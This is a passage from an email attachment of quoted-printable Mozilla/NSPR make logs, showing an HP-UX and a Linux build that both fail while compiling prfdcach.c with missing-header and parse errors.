make[1]: Leaving directory `/usr/local/src/mozilla/build'=0A=
make[1]: Entering directory `/usr/local/src/mozilla/nsprpub'=0A=
cd config; make export=0A=
make[2]: Entering directory `/usr/local/src/mozilla/nsprpub/config'=0A=
rm -f /usr/local/src/mozilla/dist/bin/nspr-config=0A=
make[2]: Leaving directory `/usr/local/src/mozilla/nsprpub/config'=0A=
cd pr; make export=0A=
make[2]: Entering directory `/usr/local/src/mozilla/nsprpub/pr'=0A=
cd include; make export=0A=
make[3]: Entering directory `/usr/local/src/mozilla/nsprpub/pr/include'=0A=
cd md; make export=0A=
make[4]: Entering directory =
`/usr/local/src/mozilla/nsprpub/pr/include/md'=0A=
../../../config/./nsinstall -R -m 444 ./_hpux32.cfg =
/usr/local/src/mozilla/dist/include/nspr=0A=
mv -f /usr/local/src/mozilla/dist/include/nspr/_hpux32.cfg =
/usr/local/src/mozilla/dist/include/nspr/prcpucfg.h=0A=
make[4]: Leaving directory `/usr/local/src/mozilla/nsprpub/pr/include/md'=0A=
cd private; make export=0A=
make[4]: Entering directory =
`/usr/local/src/mozilla/nsprpub/pr/include/private'=0A=
../../../config/./nsinstall -R -m 444 ./pprio.h ./pprthred.h ./prpriv.h =
/usr/local/src/mozilla/dist/include/nspr/private=0A=
make[4]: Leaving directory =
`/usr/local/src/mozilla/nsprpub/pr/include/private'=0A=
cd obsolete; make export=0A=
make[4]: Entering directory =
`/usr/local/src/mozilla/nsprpub/pr/include/obsolete'=0A=
../../../config/./nsinstall -R -m 444 ./pralarm.h ./probslet.h =
./protypes.h ./prsem.h /usr/local/src/mozilla/dist/include/nspr/obsolete=0A=
make[4]: Leaving directory =
`/usr/local/src/mozilla/nsprpub/pr/include/obsolete'=0A=
../../config/./nsinstall -R -m 444 ./nspr.h ./pratom.h ./prbit.h =
./prclist.h ./prcmon.h ./prcountr.h ./prcvar.h ./prdtoa.h ./prenv.h =
./prerr.h ./prerror.h ./prinet.h ./prinit.h ./prinrval.h ./prio.h =
./pripcsem.h ./prlink.h ./prlock.h ./prlog.h ./prlong.h ./prmem.h =
./prmon.h ./prmwait.h ./prnetdb.h ./prolock.h ./prpdce.h ./prprf.h =
./prproces.h ./prrng.h ./prrwlock.h ./prshm.h ./prshma.h ./prsystem.h =
./prthread.h ./prtime.h ./prtpool.h ./prtrace.h ./prtypes.h ./prvrsion.h =
./prwin16.h /usr/local/src/mozilla/dist/include/nspr=0A=
make[3]: Leaving directory `/usr/local/src/mozilla/nsprpub/pr/include'=0A=
cd src; make export=0A=
make[3]: Entering directory `/usr/local/src/mozilla/nsprpub/pr/src'=0A=
cd io; make export=0A=
make[4]: Entering directory `/usr/local/src/mozilla/nsprpub/pr/src/io'=0A=
gcc -o prfdcach.o -c    -DHPUX11 -Dhpux -g -fPIC  -UNDEBUG  -DDEBUG=3D1 =
-DDEBUG_root=3D1 -DXP_UNIX=3D1 -DHPUX=3D1 -D_HPUX_SOURCE=3D1 -Dhppa=3D1 =
-DHAVE_LCHOWN=3D1 -DHAVE_STRERROR=3D1 -D_POSIX_C_SOURCE=3D199506L =
-D_PR_HAVE_THREADSAFE_GETHOST=3D1  -DFORCE_PR_LOG -D_PR_PTHREADS =
-UHAVE_CVAR_BUILT_ON_SEM -D_NSPR_BUILD_ =
-I/usr/local/src/mozilla/dist/include/nspr -I../../../pr/include =
-I../../../pr/include/private  prfdcach.c=0A=
In file included from =
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:482,=0A=
                 from =
/usr/local/src/mozilla/dist/include/nspr/pratom.h:43,=0A=
                 from /usr/local/src/mozilla/dist/include/nspr/nspr.h:38,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:88:19: =
model.h: No such file or directory=0A=
In file included from ../../../pr/include/md/prosdep.h:143,=0A=
                 from ../../../pr/include/private/primpl.h:75,=0A=
                 from prfdcach.c:35:=0A=
../../../pr/include/md/_unixos.h:600:2: #error "I don't know yet"=0A=
In file included from ../../../pr/include/md/prosdep.h:143,=0A=
                 from ../../../pr/include/private/primpl.h:75,=0A=
                 from prfdcach.c:35:=0A=
../../../pr/include/md/_unixos.h:603: parse error before "_MDStat64"=0A=
../../../pr/include/md/_unixos.h:608: parse error before "_MDStat64"=0A=
../../../pr/include/md/_unixos.h:610: parse error before '*' token=0A=
../../../pr/include/md/_unixos.h:610: parse error before "_MDOff64_t"=0A=
../../../pr/include/md/_unixos.h:610: `_MDOff64_t' declared as function =
returning a function=0A=
../../../pr/include/md/_unixos.h:620: parse error before "_MD_Lseek64"=0A=
../../../pr/include/md/_unixos.h:620: warning: no semicolon at end of =
struct or union=0A=
In file included from ../../../pr/include/md/prosdep.h:158,=0A=
                 from ../../../pr/include/private/primpl.h:75,=0A=
                 from prfdcach.c:35:=0A=
../../../pr/include/md/_pth.h:222:23: sys/sched.h: No such file or =
directory=0A=
make[4]: *** [prfdcach.o] Error 1=0A=
make[4]: Leaving directory `/usr/local/src/mozilla/nsprpub/pr/src/io'=0A=
make[3]: *** [export] Error 2=0A=
make[3]: Leaving directory `/usr/local/src/mozilla/nsprpub/pr/src'=0A=
make[2]: *** [export] Error 2=0A=
make[2]: Leaving directory `/usr/local/src/mozilla/nsprpub/pr'=0A=
make[1]: *** [export] Error 2=0A=
make[1]: Leaving directory `/usr/local/src/mozilla/nsprpub'=0A=
make: *** [export] Error 2=0A=

------=_NextPart_000_0015_01C16398.4A7F4C80
Content-Type: application/octet-stream;
	name="make.log.std"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="make.log.std"

make[1]: Entering directory `/usr/local/src/mozilla/config'=0A=
nsinstall.c=0A=
gcc -o nsinstall.o -c -DOSTYPE=3D\"Linux2.4\" -DOSARCH=3D\"Linux\" =
-DMOZ_REFLOW_PERF -DMOZ_REFLOW_PERF_DSP -DOJI -D_BSD_SOURCE   =
-I../dist/include -I../dist/include =
-I/usr/local/src/mozilla/dist/include/nspr      -I/usr/X11R6/include   =
-fPIC -I/usr/X11R6/include -Wall -W -Wno-unused -Wpointer-arith =
-Wcast-align -pedantic -Wno-long-long -pipe -fshort-wchar  -DDEBUG =
-DDEBUG_root -DTRACING -g -I/usr/X11R6/include -include ../config-defs.h =
-DMOZILLA_CLIENT -Wp,-MD,.deps/nsinstall.pp nsinstall.c=0A=
pathsub.c=0A=
gcc -o pathsub.o -c -DOSTYPE=3D\"Linux2.4\" -DOSARCH=3D\"Linux\" =
-DMOZ_REFLOW_PERF -DMOZ_REFLOW_PERF_DSP -DOJI -D_BSD_SOURCE   =
-I../dist/include -I../dist/include =
-I/usr/local/src/mozilla/dist/include/nspr      -I/usr/X11R6/include   =
-fPIC -I/usr/X11R6/include -Wall -W -Wno-unused -Wpointer-arith =
-Wcast-align -pedantic -Wno-long-long -pipe -fshort-wchar  -DDEBUG =
-DDEBUG_root -DTRACING -g -I/usr/X11R6/include -include ../config-defs.h =
-DMOZILLA_CLIENT -Wp,-MD,.deps/pathsub.pp pathsub.c=0A=
gcc -o nsinstall -I/usr/X11R6/include -Wall -W -Wno-unused =
-Wpointer-arith -Wcast-align -pedantic -Wno-long-long -pipe =
-fshort-wchar  -DDEBUG -DDEBUG_root -DTRACING -g nsinstall.o pathsub.o  =
-L../dist/bin -L../dist/lib  -ldl -lm  -lc  =0A=
/usr/bin/perl -I. ./bdate.pl build_number =0A=
../config/nsinstall -R -m 444 nsBuildID.h ../dist/include=0A=
/usr/bin/perl -I../config ../config/build-list.pl =
../dist/include/.headerlist nsBuildID.h=0A=
rm -f ../config/final-link-comps ../config/final-link-libs =
../config/final-link-comp-names=0A=
make[1]: Leaving directory `/usr/local/src/mozilla/config'=0A=
make[1]: Entering directory `/usr/local/src/mozilla/build'=0A=
make[2]: Entering directory `/usr/local/src/mozilla/build/unix'=0A=
chmod 755 mozilla-config=0A=
../../config/nsinstall -R -m 755 mozilla-config ../../dist/bin=0A=
make[2]: Leaving directory `/usr/local/src/mozilla/build/unix'=0A=
make[1]: Leaving directory `/usr/local/src/mozilla/build'=0A=
make[1]: Entering directory `/usr/local/src/mozilla/nsprpub'=0A=
cd config; make export=0A=
make[2]: Entering directory `/usr/local/src/mozilla/nsprpub/config'=0A=
rm -f /usr/local/src/mozilla/dist/bin/nspr-config=0A=
make[2]: Leaving directory `/usr/local/src/mozilla/nsprpub/config'=0A=
cd pr; make export=0A=
make[2]: Entering directory `/usr/local/src/mozilla/nsprpub/pr'=0A=
cd include; make export=0A=
make[3]: Entering directory `/usr/local/src/mozilla/nsprpub/pr/include'=0A=
cd md; make export=0A=
make[4]: Entering directory =
`/usr/local/src/mozilla/nsprpub/pr/include/md'=0A=
../../../config/./nsinstall -R -m 444 ./_linux.cfg =
/usr/local/src/mozilla/dist/include/nspr=0A=
mv -f /usr/local/src/mozilla/dist/include/nspr/_linux.cfg =
/usr/local/src/mozilla/dist/include/nspr/prcpucfg.h=0A=
make[4]: Leaving directory `/usr/local/src/mozilla/nsprpub/pr/include/md'=0A=
cd private; make export=0A=
make[4]: Entering directory =
`/usr/local/src/mozilla/nsprpub/pr/include/private'=0A=
../../../config/./nsinstall -R -m 444 ./pprio.h ./pprthred.h ./prpriv.h =
/usr/local/src/mozilla/dist/include/nspr/private=0A=
make[4]: Leaving directory =
`/usr/local/src/mozilla/nsprpub/pr/include/private'=0A=
cd obsolete; make export=0A=
make[4]: Entering directory =
`/usr/local/src/mozilla/nsprpub/pr/include/obsolete'=0A=
../../../config/./nsinstall -R -m 444 ./pralarm.h ./probslet.h =
./protypes.h ./prsem.h /usr/local/src/mozilla/dist/include/nspr/obsolete=0A=
make[4]: Leaving directory =
`/usr/local/src/mozilla/nsprpub/pr/include/obsolete'=0A=
../../config/./nsinstall -R -m 444 ./nspr.h ./pratom.h ./prbit.h =
./prclist.h ./prcmon.h ./prcountr.h ./prcvar.h ./prdtoa.h ./prenv.h =
./prerr.h ./prerror.h ./prinet.h ./prinit.h ./prinrval.h ./prio.h =
./pripcsem.h ./prlink.h ./prlock.h ./prlog.h ./prlong.h ./prmem.h =
./prmon.h ./prmwait.h ./prnetdb.h ./prolock.h ./prpdce.h ./prprf.h =
./prproces.h ./prrng.h ./prrwlock.h ./prshm.h ./prshma.h ./prsystem.h =
./prthread.h ./prtime.h ./prtpool.h ./prtrace.h ./prtypes.h ./prvrsion.h =
./prwin16.h /usr/local/src/mozilla/dist/include/nspr=0A=
make[3]: Leaving directory `/usr/local/src/mozilla/nsprpub/pr/include'=0A=
cd src; make export=0A=
make[3]: Entering directory `/usr/local/src/mozilla/nsprpub/pr/src'=0A=
cd io; make export=0A=
make[4]: Entering directory `/usr/local/src/mozilla/nsprpub/pr/src/io'=0A=
gcc -o prfdcach.o -c     -ansi -Wall -pipe -g -fPIC  -UNDEBUG  =
-DDEBUG=3D1 -DDEBUG_root=3D1 -DXP_UNIX=3D1 -D_POSIX_SOURCE=3D1 =
-D_BSD_SOURCE=3D1 -D_SVID_SOURCE=3D1 -D_LARGEFILE64_SOURCE=3D1 =
-DHAVE_FCNTL_FILE_LOCKING=3D1 -DLINUX=3D1 -Dlinux=3D1 -DHAVE_LCHOWN=3D1 =
-DHAVE_STRERROR=3D1 -D_REENTRANT=3D1  -DFORCE_PR_LOG -D_PR_PTHREADS =
-UHAVE_CVAR_BUILT_ON_SEM -D_NSPR_BUILD_ =
-I/usr/local/src/mozilla/dist/include/nspr -I../../../pr/include =
-I../../../pr/include/private  prfdcach.c=0A=
In file included from =
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:55,=0A=
                 from =
/usr/local/src/mozilla/dist/include/nspr/pratom.h:43,=0A=
                 from /usr/local/src/mozilla/dist/include/nspr/nspr.h:38,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/prcpucfg.h:419:2: #error =
"Unknown CPU architecture"=0A=
In file included from =
/usr/local/src/mozilla/dist/include/nspr/pratom.h:43,=0A=
                 from /usr/local/src/mozilla/dist/include/nspr/nspr.h:38,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:277:2: #error No =
suitable type for PRInt8/PRUint8=0A=
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:290:2: #error No =
suitable type for PRInt16/PRUint16=0A=
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:310:2: #error No =
suitable type for PRInt32/PRUint32=0A=
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:361:2: #error =
'sizeof(int)' not sufficient for platform use=0A=
In file included from =
/usr/local/src/mozilla/dist/include/nspr/pratom.h:43,=0A=
                 from /usr/local/src/mozilla/dist/include/nspr/nspr.h:38,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:384: parse error =
before "PROffset32"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:384: warning: type =
defaults to `int' in declaration of `PROffset32'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:384: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:411: parse error =
before "PRBool"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:411: warning: type =
defaults to `int' in declaration of `PRBool'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:411: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:421: parse error =
before "PRPackedBool"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:421: warning: type =
defaults to `int' in declaration of `PRPackedBool'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:421: warning: data =
definition has no type or storage class=0A=
In file included from =
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:482,=0A=
                 from =
/usr/local/src/mozilla/dist/include/nspr/pratom.h:43,=0A=
                 from /usr/local/src/mozilla/dist/include/nspr/nspr.h:38,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:45: parse =
error before "uintn"=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:45: =
warning: type defaults to `int' in declaration of `uintn'=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:45: =
warning: data definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:47: parse =
error before "intn"=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:47: =
warning: type defaults to `int' in declaration of `intn'=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:47: =
warning: data definition has no type or storage class=0A=
In file included from =
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:482,=0A=
                 from =
/usr/local/src/mozilla/dist/include/nspr/pratom.h:43,=0A=
                 from /usr/local/src/mozilla/dist/include/nspr/nspr.h:38,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:114: parse =
error before "uint32"=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:114: =
warning: type defaults to `int' in declaration of `uint32'=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:114: =
warning: data definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:125: parse =
error before "uint16"=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:125: =
warning: type defaults to `int' in declaration of `uint16'=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:125: =
warning: data definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:133: parse =
error before "uint8"=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:133: =
warning: type defaults to `int' in declaration of `uint8'=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:133: =
warning: data definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:154: parse =
error before "int32"=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:154: =
warning: type defaults to `int' in declaration of `int32'=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:154: =
warning: data definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:168: parse =
error before "int16"=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:168: =
warning: type defaults to `int' in declaration of `int16'=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:168: =
warning: data definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:178: parse =
error before "int8"=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:178: =
warning: type defaults to `int' in declaration of `int8'=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:178: =
warning: data definition has no type or storage class=0A=
In file included from /usr/local/src/mozilla/dist/include/nspr/nspr.h:38,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/pratom.h:57: parse error before =
"PR_AtomicIncrement"=0A=
/usr/local/src/mozilla/dist/include/nspr/pratom.h:57: parse error before =
'*' token=0A=
/usr/local/src/mozilla/dist/include/nspr/pratom.h:57: warning: type =
defaults to `int' in declaration of `PR_AtomicIncrement'=0A=
/usr/local/src/mozilla/dist/include/nspr/pratom.h:57: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/pratom.h:68: parse error before =
"PR_AtomicDecrement"=0A=
/usr/local/src/mozilla/dist/include/nspr/pratom.h:68: parse error before =
'*' token=0A=
/usr/local/src/mozilla/dist/include/nspr/pratom.h:68: warning: type =
defaults to `int' in declaration of `PR_AtomicDecrement'=0A=
/usr/local/src/mozilla/dist/include/nspr/pratom.h:68: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/pratom.h:80: parse error before =
"PR_AtomicSet"=0A=
/usr/local/src/mozilla/dist/include/nspr/pratom.h:80: parse error before =
'*' token=0A=
/usr/local/src/mozilla/dist/include/nspr/pratom.h:80: warning: type =
defaults to `int' in declaration of `PR_AtomicSet'=0A=
/usr/local/src/mozilla/dist/include/nspr/pratom.h:80: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/pratom.h:92: parse error before =
"PR_AtomicAdd"=0A=
/usr/local/src/mozilla/dist/include/nspr/pratom.h:92: parse error before =
'*' token=0A=
/usr/local/src/mozilla/dist/include/nspr/pratom.h:92: warning: type =
defaults to `int' in declaration of `PR_AtomicAdd'=0A=
/usr/local/src/mozilla/dist/include/nspr/pratom.h:92: warning: data =
definition has no type or storage class=0A=
In file included from /usr/local/src/mozilla/dist/include/nspr/nspr.h:39,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/prbit.h:56: parse error before =
"PR_CeilingLog2"=0A=
/usr/local/src/mozilla/dist/include/nspr/prbit.h:56: parse error before =
"i"=0A=
/usr/local/src/mozilla/dist/include/nspr/prbit.h:56: warning: type =
defaults to `int' in declaration of `PR_CeilingLog2'=0A=
/usr/local/src/mozilla/dist/include/nspr/prbit.h:56: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prbit.h:61: parse error before =
"PR_FloorLog2"=0A=
/usr/local/src/mozilla/dist/include/nspr/prbit.h:61: parse error before =
"i"=0A=
/usr/local/src/mozilla/dist/include/nspr/prbit.h:61: warning: type =
defaults to `int' in declaration of `PR_FloorLog2'=0A=
/usr/local/src/mozilla/dist/include/nspr/prbit.h:61: warning: data =
definition has no type or storage class=0A=
In file included from =
/usr/local/src/mozilla/dist/include/nspr/prmon.h:39,=0A=
                 from =
/usr/local/src/mozilla/dist/include/nspr/prcmon.h:48,=0A=
                 from /usr/local/src/mozilla/dist/include/nspr/nspr.h:41,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:58: parse error =
before "PRIntervalTime"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:58: warning: type =
defaults to `int' in declaration of `PRIntervalTime'=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:58: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:105: parse error =
before "PR_IntervalNow"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:105: warning: type =
defaults to `int' in declaration of `PR_IntervalNow'=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:105: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:123: parse error =
before "PR_TicksPerSecond"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:123: warning: type =
defaults to `int' in declaration of `PR_TicksPerSecond'=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:123: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:142: parse error =
before "PR_SecondsToInterval"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:142: parse error =
before "seconds"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:142: warning: type =
defaults to `int' in declaration of `PR_SecondsToInterval'=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:142: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:143: parse error =
before "PR_MillisecondsToInterval"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:143: parse error =
before "milli"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:143: warning: type =
defaults to `int' in declaration of `PR_MillisecondsToInterval'=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:143: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:144: parse error =
before "PR_MicrosecondsToInterval"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:144: parse error =
before "micro"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:144: warning: type =
defaults to `int' in declaration of `PR_MicrosecondsToInterval'=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:144: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:163: parse error =
before "PR_IntervalToSeconds"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:163: parse error =
before "ticks"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:163: warning: type =
defaults to `int' in declaration of `PR_IntervalToSeconds'=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:163: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:164: parse error =
before "PR_IntervalToMilliseconds"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:164: parse error =
before "ticks"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:164: warning: type =
defaults to `int' in declaration of `PR_IntervalToMilliseconds'=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:164: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:165: parse error =
before "PR_IntervalToMicroseconds"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:165: parse error =
before "ticks"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:165: warning: type =
defaults to `int' in declaration of `PR_IntervalToMicroseconds'=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:165: warning: data =
definition has no type or storage class=0A=
In file included from =
/usr/local/src/mozilla/dist/include/nspr/prcmon.h:48,=0A=
                 from /usr/local/src/mozilla/dist/include/nspr/nspr.h:41,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/prmon.h:92: parse error before =
"PRIntervalTime"=0A=
In file included from /usr/local/src/mozilla/dist/include/nspr/nspr.h:41,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/prcmon.h:73: parse error before =
"PRIntervalTime"=0A=
In file included from /usr/local/src/mozilla/dist/include/nspr/nspr.h:42,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/prcvar.h:94: parse error before =
"PRIntervalTime"=0A=
In file included from /usr/local/src/mozilla/dist/include/nspr/nspr.h:43,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/prdtoa.h:69: parse error before =
"PRIntn"=0A=
/usr/local/src/mozilla/dist/include/nspr/prdtoa.h:82: parse error before =
"PRIntn"=0A=
In file included from /usr/local/src/mozilla/dist/include/nspr/nspr.h:45,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:42: parse error =
before "PRErrorCode"=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:42: warning: type =
defaults to `int' in declaration of `PRErrorCode'=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:42: warning: data =
definition has no type or storage class=0A=
In file included from /usr/local/src/mozilla/dist/include/nspr/nspr.h:45,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:54: parse error =
before "errorCode"=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:66: parse error =
before "textLength"=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:71: parse error =
before "PR_GetError"=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:71: warning: type =
defaults to `int' in declaration of `PR_GetError'=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:71: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:77: parse error =
before "PR_GetOSError"=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:77: warning: type =
defaults to `int' in declaration of `PR_GetOSError'=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:77: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:84: parse error =
before "PR_GetErrorTextLength"=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:84: warning: type =
defaults to `int' in declaration of `PR_GetErrorTextLength'=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:84: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:91: parse error =
before "PR_GetErrorText"=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:91: warning: type =
defaults to `int' in declaration of `PR_GetErrorText'=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:91: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:174: parse error =
before "PRLanguageCode"=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:174: warning: type =
defaults to `int' in declaration of `PRLanguageCode'=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:174: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:196: parse error =
before "PRErrorCode"=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:196: warning: no =
semicolon at end of struct or union=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:198: parse error =
before '}' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:226: parse error =
before "code"=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:259: parse error =
before "code"=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:273: parse error =
before "code"=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:300: parse error =
before "PR_ErrorInstallTable"=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:300: warning: type =
defaults to `int' in declaration of `PR_ErrorInstallTable'=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:300: warning: data =
definition has no type or storage class=0A=
In file included from =
/usr/local/src/mozilla/dist/include/nspr/prinit.h:38,=0A=
                 from /usr/local/src/mozilla/dist/include/nspr/nspr.h:47,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/prthread.h:140: parse error =
before "PRUint32"=0A=
/usr/local/src/mozilla/dist/include/nspr/prthread.h:201: parse error =
before '*' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prthread.h:214: parse error =
before "tpdIndex"=0A=
/usr/local/src/mozilla/dist/include/nspr/prthread.h:225: parse error =
before "tpdIndex"=0A=
/usr/local/src/mozilla/dist/include/nspr/prthread.h:262: parse error =
before "ticks"=0A=
In file included from /usr/local/src/mozilla/dist/include/nspr/nspr.h:47,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:85: parse error before =
'*' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:85: warning: type =
